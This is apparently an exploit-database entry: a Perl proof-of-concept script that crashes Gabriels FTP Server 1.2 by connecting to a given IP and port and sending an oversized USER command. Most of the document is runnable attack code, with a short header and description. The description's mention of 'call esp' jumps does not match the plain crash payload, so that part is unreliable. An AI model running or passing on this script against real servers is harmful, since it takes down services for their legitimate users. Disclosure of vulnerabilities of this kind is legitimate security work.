#!/usr/bin/perl

use IO::Socket::INET;

Exploit Title: Gabriels FTP Server 1.2 - Denial of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 25 january 2024

Vendor Homepage: N/A

Download to demo: https://drive.google.com/file/d/1k8QxfP6x908E-1QpRAVulKoAM9OEo1a8/view?usp=sharing

Notification vendor: No reported

Tested Version: Gabriels FTP Server 1.2

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denial of Service (DoS)

Vídeo: https://www.youtube.com/watch?v=wwHuXfYS8yQ

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static ‘call esp’
#Backwards jump to code a known distance from the stack pointer.
#The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user.
#When authenticating to the FTP server with a long USERNAME or a USERNAME with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

    intro();  
main();

    print "[+] Exploiting... \n";

my $payload = "\x41\x2C\x41\x20\x42"x500;

my $ftp_socket = IO::Socket::INET->new(  
    PeerAddr => $ip,  
    PeerPort => $port,  
    Proto    => 'tcp',  
    Timeout => '10',  
) or die "Não foi possível se conectar ao servidor.";

my $response = <$ftp_socket>;

print $ftp_socket "USER $payload\r\n";

print "[+] Done - Exploited success!!!!!\n\n";

 sub intro {  
  print "######################################################################\n";  
  print "#                Gabriels FTP Server 1.2 - Denied of Service         #\n";  
  print "#                                                                    #\n";  
  print "#                       Coded by Fernando Mengali                    #\n";  
  print "#                                                                    #\n";  
  print "#                 e-mail: fernando.mengalli\@gmail.com               #\n";  
  print "#                                                                    #\n";  
  print "######################################################################\n";  

}

sub main {

our ($ip, $port) = @ARGV;

  unless (defined($ip) && defined($port)) {

    print "       \nUsage: $0 <ip> <port>                 \n";  
    exit(-1);

  }  

}

#3. Solution/ How to fix:

This version product is deprecated